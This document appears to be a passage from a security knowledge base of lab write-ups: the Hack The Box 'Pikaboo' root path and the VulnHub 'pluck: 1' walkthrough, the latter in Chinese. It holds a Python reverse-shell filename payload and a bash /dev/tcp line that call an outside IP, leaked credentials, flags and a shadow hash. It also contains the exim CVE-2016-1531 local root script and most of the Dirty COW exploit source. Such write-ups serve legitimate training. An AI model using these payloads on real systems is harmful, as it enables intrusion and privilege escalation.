Looking for intresting things I checked /opt directory.

``` bash
ls /opt
pokeapi
```

We found the under construction version of pokeapi so there could be exploit but we can't exploit it but what we can do is to find hardcoded creds in it as developers might have left it as it is still not implemented.

``` bash
cd /opt/pokeapi
www-data@pikaboo:/opt/pokeapi$ ls
CODE_OF_CONDUCT.md  README.md         data                pokemon_v2
CONTRIBUTING.md     Resources         docker-compose.yml  requirements.txt
CONTRIBUTORS.txt    __init__.py       graphql             test-requirements.txt
LICENSE.md          apollo.config.js  gunicorn.py.ini
Makefile            config            manage.py
```

Let's just try and grep for passwords from the files.

``` bash
www-data@pikaboo:/opt/pokeapi$ grep -iRl 'password'
.github/workflows/docker-image.yml
Resources/compose/docker-compose-prod-graphql.yml
Resources/docker/app/README.md
docker-compose.yml
config/docker.py
config/settings.py
config/docker-compose.py
```

We have some files which has the word password in it the most intresting file is config/settings.py so let's see that.
Checking that file out you can see this good part.

``` bash
DATABASES = {                                                                                                                                                         
    "ldap": {                                                                                                                                                         
        "ENGINE": "ldapdb.backends.ldap",                                                                                                                             
        "NAME": "ldap:///",                                                                                                                                           
        "USER": "cn=binduser,ou=users,dc=pikaboo,dc=htb",                                                                                                             
        "PASSWORD": "J~42%W?PFHl]g",                                                                                                                                  
    },                                                                                                                                                                
    "default": {                                                                                                                                                      
        "ENGINE": "django.db.backends.sqlite3",                                                                                                                       
        "NAME": "/opt/pokeapi/db.sqlite3",                                                                                                                            
    }                                                                                                                                                                 
}  
```

we can see LDAP creds and we know the ldap is running so let's try to enumerate it with creds we found.

``` bash
www-data@pikaboo:/opt/pokeapi$ ldapsearch -D "cn=binduser,ou=users,dc=pikaboo,dc=htb" -w 'J~42%W?PFHl]g' -b 'dc=pikaboo,dc=htb' -LLL -h 127.0.0.1 -p 389 -s sub "(objectClass=*)"
<--SNIP-->
dn: uid=pwnmeow,ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: pwnmeow
cn: Pwn
sn: Meow
loginShell: /bin/bash
uidNumber: 10000
gidNumber: 10000
homeDirectory: /home/pwnmeow
userPassword:: X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==
<--SNIP-->
```

Looking at the LDAP dump we can see the creds for the user pwnmeow.
so let's base64 decode that creds.

``` bash
kali@kali:~/HackTheBox/Pikaboo$ echo "X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==" | base64 -d
_G0tT4_C4tcH_'3m_4lL!_
```

We have the password for the user pwnmeow but the catch over here is that we cannot su into pwnmeow with that creds neither you can use it to SSH.

So from beginning we know that FTP also has the user pwnmeow from the logs that we saw from local file inclusion so let's try this cred there.

``` bash
kali@kali:~/HackTheBox/Pikaboo$ ftp 10.10.10.249
Connected to pikaboo.htb.
220 (vsFTPd 3.0.3)
Name (pikaboo.htb:kali): pwnmeow
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

And boom it worked so let's enumerate futher.

#### PrivESC TO Root
#### Enumeration

let's see if there is any cron running.

``` bash
www-data@pikaboo:/opt/pokeapi$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /usr/local/bin/csvupdate_cron
```

Looks like we have a script that is been executed as root every single second.
so let's look into script.

``` bash
www-data@pikaboo:/opt/pokeapi$ cat /usr/local/bin/csvupdate_cron
#!/bin/bash

for d in /srv/ftp/*
do
  cd $d
  /usr/local/bin/csvupdate $(basename $d) *csv
  /usr/bin/rm -rf *
done
```

looks like it is just a simple bash script to run another script /usr/local/bin/csvupdate with the filename as the parameter for the files in FTP and now as we have access to FTP we might be able to exploit it.

so let's look at the /usr/local/bin/csvupdate file.

``` perl
#!/usr/bin/perl

##################################################################
# Script for upgrading PokeAPI CSV files with FTP-uploaded data. #
#                                                                #
# Usage:                                                         #
# ./csvupdate <type> <file(s)>                                   #
#                                                                #
# Arguments:                                                     #
# - type: PokeAPI CSV file type                                  #
#         (must have the correct number of fields)               #
# - file(s): list of files containing CSV data                   #
##################################################################

use strict;
use warnings;
use Text::CSV;

my $csv_dir = "/opt/pokeapi/data/v2/csv";

my %csv_fields = (
  'abilities' => 4,
  'ability_changelog' => 3,
  'ability_changelog_prose' => 3,
  'ability_flavor_text' => 4,
  'ability_names' => 3,
  'ability_prose' => 4,
  'berries' => 10,
  'berry_firmness' => 2,
  'berry_firmness_names' => 3,
  'berry_flavors' => 3,
  'characteristics' => 3,
  'characteristic_text' => 3,
  'conquest_episode_names' => 3,
  'conquest_episodes' => 2,
  'conquest_episode_warriors' => 2,
  'conquest_kingdom_names' => 3,
  'conquest_kingdoms' => 3,
  'conquest_max_links' => 3,
  'conquest_move_data' => 7,
  'conquest_move_displacement_prose' => 5,
  'conquest_move_displacements' => 3,
  'conquest_move_effect_prose' => 4,
  'conquest_move_effects' => 1,
  'conquest_move_range_prose' => 4,
  'conquest_move_ranges' => 3,
  'conquest_pokemon_abilities' => 3,
  'conquest_pokemon_evolution' => 8,
  'conquest_pokemon_moves' => 2,
  'conquest_pokemon_stats' => 3,
  'conquest_stat_names' => 3,
  'conquest_stats' => 3,
  'conquest_transformation_pokemon' => 2,
  'conquest_transformation_warriors' => 2,
  'conquest_warrior_archetypes' => 2,
  'conquest_warrior_names' => 3,
  'conquest_warrior_ranks' => 4,
  'conquest_warrior_rank_stat_map' => 3,
  'conquest_warriors' => 4,
  'conquest_warrior_skill_names' => 3,
  'conquest_warrior_skills' => 2,
  'conquest_warrior_specialties' => 3,
  'conquest_warrior_stat_names' => 3,
  'conquest_warrior_stats' => 2,
  'conquest_warrior_transformation' => 10,
  'contest_combos' => 2,
  'contest_effect_prose' => 4,
  'contest_effects' => 3,
  'contest_type_names' => 5,
  'contest_types' => 2,
  'egg_group_prose' => 3,
  'egg_groups' => 2,
  'encounter_condition_prose' => 3,
  'encounter_conditions' => 2,
  'encounter_condition_value_map' => 2,
  'encounter_condition_value_prose' => 3,
  'encounter_condition_values' => 4,
  'encounter_method_prose' => 3,
  'encounter_methods' => 3,
  'encounters' => 7,
  'encounter_slots' => 5,
  'evolution_chains' => 2,
  'evolution_trigger_prose' => 3,
  'evolution_triggers' => 2,
  'experience' => 3,
  'genders' => 2,
  'generation_names' => 3,
  'generations' => 3,
  'growth_rate_prose' => 3,
  'growth_rates' => 3,
  'item_categories' => 3,
  'item_category_prose' => 3,
  'item_flag_map' => 2,
  'item_flag_prose' => 4,
  'item_flags' => 2,
  'item_flavor_summaries' => 3,
  'item_flavor_text' => 4,
  'item_fling_effect_prose' => 3,
  'item_fling_effects' => 2,
  'item_game_indices' => 3,
  'item_names' => 3,
  'item_pocket_names' => 3,
  'item_pockets' => 2,
  'item_prose' => 4,
  'items' => 6,
  'language_names' => 3,
  'languages' => 6,
  'location_area_encounter_rates' => 4,
  'location_area_prose' => 3,
  'location_areas' => 4,
  'location_game_indices' => 3,
  'location_names' => 4,
  'locations' => 3,
  'machines' => 4,
  'move_battle_style_prose' => 3,
  'move_battle_styles' => 2,
  'move_changelog' => 10,
  'move_damage_classes' => 2,
  'move_damage_class_prose' => 4,
  'move_effect_changelog' => 3,
  'move_effect_changelog_prose' => 3,
  'move_effect_prose' => 4,
  'move_effects' => 1,
  'move_flag_map' => 2,
  'move_flag_prose' => 4,
  'move_flags' => 2,
  'move_flavor_summaries' => 3,
  'move_flavor_text' => 4,
  'move_meta_ailment_names' => 3,
  'move_meta_ailments' => 2,
  'move_meta_categories' => 2,
  'move_meta_category_prose' => 3,
  'move_meta' => 13,
  'move_meta_stat_changes' => 3,
  'move_names' => 3,
  'moves' => 15,
  'move_target_prose' => 4,
  'move_targets' => 2,
  'nature_battle_style_preferences' => 4,
  'nature_names' => 3,
  'nature_pokeathlon_stats' => 3,
  'natures' => 7,
  'pal_park_area_names' => 3,
  'pal_park_areas' => 2,
  'pal_park' => 4,
  'pokeathlon_stat_names' => 3,
  'pokeathlon_stats' => 2,
  'pokedexes' => 4,
  'pokedex_prose' => 4,
  'pokedex_version_groups' => 2,
  'pokemon_abilities' => 4,
  'pokemon_color_names' => 3,
  'pokemon_colors' => 2,
  'pokemon' => 8,
  'pokemon_dex_numbers' => 3,
  'pokemon_egg_groups' => 2,
  'pokemon_evolution' => 20,
  'pokemon_form_generations' => 3,
  'pokemon_form_names' => 4,
  'pokemon_form_pokeathlon_stats' => 5,
  'pokemon_forms' => 10,
  'pokemon_form_types' => 3,
  'pokemon_game_indices' => 3,
  'pokemon_habitat_names' => 3,
  'pokemon_habitats' => 2,
  'pokemon_items' => 4,
  'pokemon_move_method_prose' => 4,
  'pokemon_move_methods' => 2,
  'pokemon_moves' => 6,
  'pokemon_shape_prose' => 5,
  'pokemon_shapes' => 2,
  'pokemon_species' => 20,
  'pokemon_species_flavor_summaries' => 3,
  'pokemon_species_flavor_text' => 4,
  'pokemon_species_names' => 4,
  'pokemon_species_prose' => 3,
  'pokemon_stats' => 4,
  'pokemon_types' => 3,
  'pokemon_types_past' => 4,
  'region_names' => 3,
  'regions' => 2,
  'stat_names' => 3,
  'stats' => 5,
  'super_contest_combos' => 2,
  'super_contest_effect_prose' => 3,
  'super_contest_effects' => 2,
  'type_efficacy' => 3,
  'type_game_indices' => 3,
  'type_names' => 3,
  'types' => 4,
  'version_group_pokemon_move_methods' => 2,
  'version_group_regions' => 2,
  'version_groups' => 4,
  'version_names' => 3,
  'versions' => 3
);


if($#ARGV < 1)
{
  die "Usage: $0 <type> <file(s)>\n";
}

my $type = $ARGV[0];
if(!exists $csv_fields{$type})
{
  die "Unrecognised CSV data type: $type.\n";
}

my $csv = Text::CSV->new({ sep_char => ',' });

my $fname = "${csv_dir}/${type}.csv";
open(my $fh, ">>", $fname) or die "Unable to open CSV target file.\n";

shift;
for(<>)
{
  chomp;
  if($csv->parse($_))
  {
    my @fields = $csv->fields();
    if(@fields != $csv_fields{$type})
    {
      warn "Incorrect number of fields: '$_'\n";
      next;
    }
    print $fh "$_\n";
  }
}

close($fh);
```

Looking through the perl script we can see takes the file name as argument.

Looking for the vulnerability in perl file open.

I came across this question in stackoverflow.

https://stackoverflow.com/questions/26614348/perl-open-injection-prevention

which than increased my curosity to learn more as answer didn't explain a good way to exploit and looking for the exploit for that I stumbled upon this article.

https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890543

which explained the exploit in detailed.

The exploit basically is that if the filename starts with '|' then the rest of file name will be executed as command rather than the file name itself so I build up a payload for that.

``` python
|python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"10.10.14.11\",1234));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")';echo .csv
```

So this is the file name that I come up with and I will tell why this shell as the command is passed through basename so ant '/' will just split the payload and mess with the working of the payload.

``` bash
kali@kali:~/HackTheBox/Pikaboo$ basename '/bin/bash'
bash
```

So as we can see above we cannot use the bash payload as due to below.

``` bash
kali@kali:~/HackTheBox/Pikaboo$ basename 'bash -c "bash -i >& /dev/tcp/10.10.14.11/12345 0>&1"'
12345 0>&1"
```

So basically it will just send '12345 0>&1' to the perl script and your payload cannot execute so thats why I chose python payload.
So let's create the file.

``` bash
kali@kali:~/HackTheBox/Pikaboo$ touch "|python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"10.10.14.11\",1234));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")';echo .csv"
```

and we need .csv at the as to bypass the check in the bash script.
Now let's upload the file but before that start the nc listener on that port.

``` bash
kali@kali:~/HackTheBox/Pikaboo$ ftp 10.10.10.249
Connected to pikaboo.htb.
220 (vsFTPd 3.0.3)
Name (pikaboo.htb:kali): pwnmeow
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd versions
250 Directory successfully changed.
ftp> put oops "|python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("\"10.10.14.11\",1234));[os.dup2(s.fileno(),f)for\ f\ in(0,1,2)];pty.spawn(""\"sh\")';.csv"
local: oops remote: |python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"10.10.14.11\",1234));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")';.csv
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
ftp>
```

After uploading file please wait for sometime as it can take a while.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/pikaboo]
└─# rlwrap nc -nlvp 1234
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.249.
Ncat: Connection from 10.10.10.249:58646.
id
id
uid=0(root) gid=0(root) groups=0(root)
whoami
whoami
root
cd /home
cd /home
ls
ls
pwnmeow
cd pwnmeow
cd pwnmeow
cat user.txt
cat user.txt
cb47b6a019e8819d1878916f455df5d7
cd /root
cd /root
cat root.txt
cat root.txt
b74d229c4d4f28e7c813a07e5255d456
cat /etc/shadow | grep root
cat /etc/shadow | grep root
root:$6$rmBpCrNSohpbrXpW$6XizSEcAl0ELQH28F21.V0cvZgWCNkatRbXCv5WNlIW2mkhECPM7wm1j.BRD.t7.Z5CQPvu19EGORXbpOnb540:18816:0:99999:7:::
```

And boom we are root so let's get all the flags.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2033.jpg)

#### Summary of knowledge

 - path traversal via misconfigured nginx alias
 - LFI fuzzing with seclists' LFI-Jhaddix.txt
 - ftp log poisoning through lfi to get revshell
 - LDAP enumeration with leaked pass
 - cronjob and perl open() injection to privesc
 - python revshell payload bypass check

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end pikaboo -->

</details>

<a id="case-pluck-1"></a>

## PHP 流包装器与受限菜单

php://filter 提供文件读取，备份和私钥连接 SSH 菜单。原文继续对照 vim、Exim 和 Dirty COW 的不同提权条件。

<p class="kb-provenance">来源 pluck-1 · 原记录 2020-04-08 · 17 个代码块 · 5 处图片引用</p>

<details class="kb-evidence" id="record-pluck-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start pluck-1 -->

#### 名称
名称：pluck: 1
发布日期：2017年3月11日

#### 下载

pluck.ova.zip

 - Download (Mirror): https://download.vulnhub.com/pluck/pluck.ova.zip
 - Download (Torrent): https://download.vulnhub.com/pluck/pluck.ova.zip.torrent

#### 描述

“享受” --- @ryanoberto



#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.56.*
Nmap scan report for 192.168.56.121
Host is up (0.00016s latency).
MAC Address: 08:00:27:45:29:54 (Oracle VirtualBox virtual NIC)
```

``` bash
root@kali:~# nmap -sV -p- -v 192.168.56.121
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.3p1 Ubuntu 1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
3306/tcp open  mysql   MySQL (unauthorized)
5355/tcp open  llmnr?
```

``` bash
root@kali:~# nmap -A -p 22,80,3306,5355 -v 192.168.56.121 -T4 --script=vuln
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.3p1 Ubuntu 1 (Ubuntu Linux; protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.121
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.56.121:80/admin.php
|     Form id: 
|     Form action: admin.php
|     
|     Path: http://192.168.56.121:80/index.php?page=contact.php
|     Form id: message
|_    Form action: #
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /admin.php: Possible admin folder
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|_  /js/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
| http-passwd: Directory traversal found.
| Payload: "%2F%2Fetc%2Fpasswd"
| Printing first 250 bytes:
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <meta http-equiv="X-UA-Compatible" content="IE=edge">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>Pluck</title>
|_<link rel="stylesheet" href="/css/bootstrap
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
| http-sql-injection: 
|   Possible sqli for queries:
|     http://192.168.56.121:80/search?forcedict=resolve%27%20OR%20sqlspider&q=define%2bresolve&ved=0ahUKEwiK9crGrc3RAhXpCsAKHYomC50Q_SoISDAA&sa=X
|     http://192.168.56.121:80/search?forcedict=resolve&q=define%2bresolve%27%20OR%20sqlspider&ved=0ahUKEwiK9crGrc3RAhXpCsAKHYomC50Q_SoISDAA&sa=X
|     http://192.168.56.121:80/js/?C=D%3bO%3dA%27%20OR%20sqlspider
|     http://192.168.56.121:80/js/?C=N%3bO%3dD%27%20OR%20sqlspider
|   Possible sqli for forms:
|     Form at path: /admin.php, form's action: admin.php. Fields that might be vulnerable:
|_      email
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
3306/tcp open  mysql   MySQL (unauthorized)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
5355/tcp open  llmnr?
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
```

端口80上的网站由PHP驱动，尝试了许多PHP技巧来检查漏洞，并发现该网站容易受到LFI和PHP base64-encode技巧的攻击！

``` bash
http://192.168.56.121/index.php?page=/etc/passwd
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub242.jpg)

现在得到了一个用户列表：

 - bob
 - peter
 - paul
 - backup-user

确实尝试过暴力破解，SQLi的管理员登录页面，但是运气不太好。

接下来，返回到用户列表，并尝试包含备份用户登录shell中提到的备份脚本。

``` bash
http://192.168.56.121/index.php?page=/usr/local/scripts/backup.sh

#!/bin/bash ######################## # Server Backup script # ######################## #Backup directories in /backups so we can get it via tftp echo "Backing up data" tar -cf /backups/backup.tar /home /var/www/html > /dev/null 2& > /dev/null echo "Backup complete" 
```

可以尝试包含tar文件，但这将是一团糟！因此，利用PHP base64编码技巧，通过对backup.tar文件的数据进行编码，然后剪切周围的HTML并在本地对其进行解码，来安全地下载文件。

``` bash
root@kali:~/vulnhub/pluck-1# curl http://192.168.56.121/index.php?page=php://filter/convert.base64-encode/resource=/backups/backup.tar | grep 'jumbotron>' | cut -d '>' -f 2 | cut -d '<' -f 1 > backup.tar64
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 2361k    0 2361k    0     0  32.0M      0 --:--:-- --:--:-- --:--:-- 32.0M
root@kali:~/vulnhub/pluck-1# ls
backup.tar64
```

base64解码生成backup.tar

``` bash
root@kali:~/vulnhub/pluck-1# base64 -d backup.tar64 > backup.tar
root@kali:~/vulnhub/pluck-1# ls
backup.tar  backup.tar64
```

最后进行解压缩操作

``` bash
root@kali:~/vulnhub/pluck-1# mkdir backup ; tar -xvf backup.tar -C backup
home/
home/bob/
home/bob/.bashrc
home/bob/.sudo_as_admin_successful
home/bob/.profile
home/bob/.bash_logout
home/paul/
home/paul/keys/
home/paul/keys/id_key3.pub
home/paul/keys/id_key2.pub
home/paul/keys/id_key2
home/paul/keys/id_key4.pub
home/paul/keys/id_key5.pub
home/paul/keys/id_key6
home/paul/keys/id_key1
home/paul/keys/id_key5
home/paul/keys/id_key1.pub
home/paul/keys/id_key6.pub
home/paul/keys/id_key4
home/paul/keys/id_key3
home/paul/.bashrc
home/paul/.profile
home/paul/.bash_logout
home/peter/
home/peter/.bashrc
home/peter/.profile
home/peter/.bash_logout
var/www/html/
var/www/html/fonts/
var/www/html/fonts/glyphicons-halflings-regular.svg
var/www/html/fonts/glyphicons-halflings-regular.woff2
var/www/html/fonts/glyphicons-halflings-regular.ttf
var/www/html/fonts/glyphicons-halflings-regular.woff
var/www/html/fonts/glyphicons-halflings-regular.eot
var/www/html/about.php
var/www/html/index.php
var/www/html/footer.php
var/www/html/css/
var/www/html/css/bootstrap.css.map
var/www/html/css/bootstrap.min.css.map
var/www/html/css/bootstrap-theme.css
var/www/html/css/bootstrap-theme.min.css
var/www/html/css/bootstrap.min.css
var/www/html/css/bootstrap-theme.min.css.map
var/www/html/css/bootstrap-theme.css.map
var/www/html/css/bootstrap.css
var/www/html/header.php
var/www/html/admin.php
var/www/html/js/
var/www/html/js/jquery.min.js
var/www/html/js/bootstrap.js
var/www/html/js/npm.js
var/www/html/js/bootstrap.min.js
root@kali:~/vulnhub/pluck-1# ls
backup  backup.tar  backup.tar64
```

解压缩文件后，注意到存在包含用户Paul SSH密钥的keys文件夹，将测试这些密钥，直到获得有效的SSH登录密匙

``` bash
root@kali:~/vulnhub/pluck-1/backup/home/paul/keys# ssh paul@192.168.56.121 -i id_key4
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub243.jpg)

在这种情况下，看到的是菜单类型的Shell登录，但是可以通过选择Edit file并输入任何文件名来退出该菜单，以开始使用vim。

输入下面的vim命令来设置shell

``` bash
:set shell=/bin/bash
```

然后输入以下内容以跳至Bash shell

``` bash
:shell
```

成功获取了shell

``` bash
root@kali:~/vulnhub/pluck-1/backup/home/paul/keys# ssh paul@192.168.56.121 -i id_key4                                      
Last login: Thu Apr  9 07:55:00 2020 from 192.168.56.1

paul@pluck:~$ id
uid=1002(paul) gid=1002(paul) groups=1002(paul)
paul@pluck:~$ whoami
paul
paul@pluck:~$
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub244.jpg)

#### 提权

尝试使用内核漏洞进行提权，但是运气不好，但是在搜索SUID之后，可以注意到exim agent的存在。

``` bash
paul@pluck:~$ find / -perm -u=s -type f 2>/dev/null
/usr/exim/bin/exim-4.84-7                                                                                                  
/usr/bin/passwd
/usr/bin/at
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/chsh
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/s-nail/s-nail-privsep
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/bin/su
/bin/umount
/bin/mount
/bin/fusermount
/bin/ping
/bin/ntfs-3g
```

尝试了一些漏洞利用exim代理来提升权限，但不起作用，但是决定尝试一下此漏洞，因为版本差异很小，幸运的是，此漏洞起作用。

 - [Exim-4.84-3-Local-Privilege-Escalation](https://www.exploit-db.com/exploits/39535)

exploitation

``` bash
#!/bin/sh
# CVE-2016-1531 exim <= 4.84-3 local root exploit
# ===============================================
# you can write files as root or force a perl module to
# load by manipulating the perl environment and running
# exim with the "perl_startup" arguement -ps. 
#
# e.g.
# [fantastic@localhost tmp]$ ./cve-2016-1531.sh 
# [ CVE-2016-1531 local root exploit
# sh-4.3# id
# uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
# 
# -- Hacker Fantastic 
echo [ CVE-2016-1531 local root exploit
cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;

system("/bin/sh");
EOF
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps
```

提权过程脚本内容

``` bash
cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;
system("/bin/sh");
EOF
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps
```

提权，成功获取到了flag

``` bash
aul@pluck:~$ cat > /tmp/root.pm << EOF
> package root;
> use strict;
> use warnings;
> system("/bin/sh");
> EOF
paul@pluck:~$ PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps
# id
uid=0(root) gid=1002(paul) groups=1002(paul)
# whoami
root
# cd /root
# ls
flag.txt
# cat flag.txt

Congratulations you found the flag

---------------------------------------

######   ((((((((((((((((((((((((((((((
#########   (((((((((((((((((((((((((((
,,##########   ((((((((((((((((((((((((
@@,,,##########   (((((((((((((((((((((
@@@@@,,,##########                     
@@@@@@@@,,,############################
@@@@@@@@@@@,,,#########################
@@@@@@@@@,,,###########################
@@@@@@,,,##########                    
@@@,,,##########   &&&&&&&&&&&&&&&&&&&&
,,,##########   &&&&&&&&&&&&&&&&&&&&&&&
##########   &&&&&&&&&&&&&&&&&&&&&&&&&&
#######   &&&&&&&&&&&&&&&&&&&&&&&&&&&&&
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub245.jpg)

#### 提权2

 - [Linux内核2.6.22-3.9-Dirty-COW-/proc/self/mem-竞争条件提权-/etc/passwd方法](https://www.exploit-db.com/exploits/40847)

脏牛提权

40847.cpp

``` bash
// EDB-Note: Compile:   g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
// EDB-Note: Recommended way to run:   ./dcow -s    (Will automatically do "echo 0 > /proc/sys/vm/dirty_writeback_centisecs")
//
// -----------------------------------------------------------------
// Copyright (C) 2016  Gabriele Bonacini
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software Foundation,
// Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301  USA
// -----------------------------------------------------------------

#include <iostream>
#include <fstream>
#include <string>
#include <thread>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <pwd.h>
#include <pty.h>
#include <string.h>
#include <termios.h>
#include <sys/wait.h>
#include <signal.h>

#define  BUFFSIZE    1024
#define  PWDFILE     "/etc/passwd"
#define  BAKFILE     "./.ssh_bak"
#define  TMPBAKFILE  "/tmp/.ssh_bak"
#define  PSM         "/proc/self/mem"
#define  ROOTID      "root:"
#define  SSHDID      "sshd:"
#define  MAXITER     300
#define  DEFPWD      "$6$P7xBAooQEZX/ham$9L7U0KJoihNgQakyfOQokDgQWLSTFZGB9LUU7T0W2kH1rtJXTzt9mG4qOoz9Njt.tIklLtLosiaeCBsZm8hND/"
#define  TXTPWD      "dirtyCowFun\n"
#define  DISABLEWB   "echo 0 > /proc/sys/vm/dirty_writeback_centisecs\n"
#define  EXITCMD     "exit\n"
#define  CPCMD       "cp "
#define  RMCMD       "rm "

using namespace std;

class Dcow{
    private:
       bool              run,        rawMode,     opShell,   restPwd;
       void              *map;
       int               fd,         iter,        master,    wstat;
       string            buffer,     etcPwd,      etcPwdBak,
                         root,       user,        pwd,       sshd;
       thread            *writerThr, *madviseThr, *checkerThr;
       ifstream          *extPwd;
       ofstream          *extPwdBak;
       struct passwd     *userId;
       pid_t             child;  
       char              buffv[BUFFSIZE];
       fd_set            rfds;
       struct termios    termOld,    termNew;
       ssize_t           ign;

       void exitOnError(string msg);
    public:
       Dcow(bool opSh, bool rstPwd);
       ~Dcow(void);
       int  expl(void);         
};

Dcow::Dcow(bool opSh, bool rstPwd) : run(true), rawMode(false), opShell(opSh), restPwd(rstPwd),
                   iter(0), wstat(0), root(ROOTID), pwd(DEFPWD), sshd(SSHDID), writerThr(nullptr),
                   madviseThr(nullptr), checkerThr(nullptr), extPwd(nullptr), extPwdBak(nullptr), 
                   child(0){ 
   userId = getpwuid(getuid());
   user.append(userId->pw_name).append(":");
   extPwd = new ifstream(PWDFILE);   
   while (getline(*extPwd, buffer)){
       buffer.append("\n");
       etcPwdBak.append(buffer);
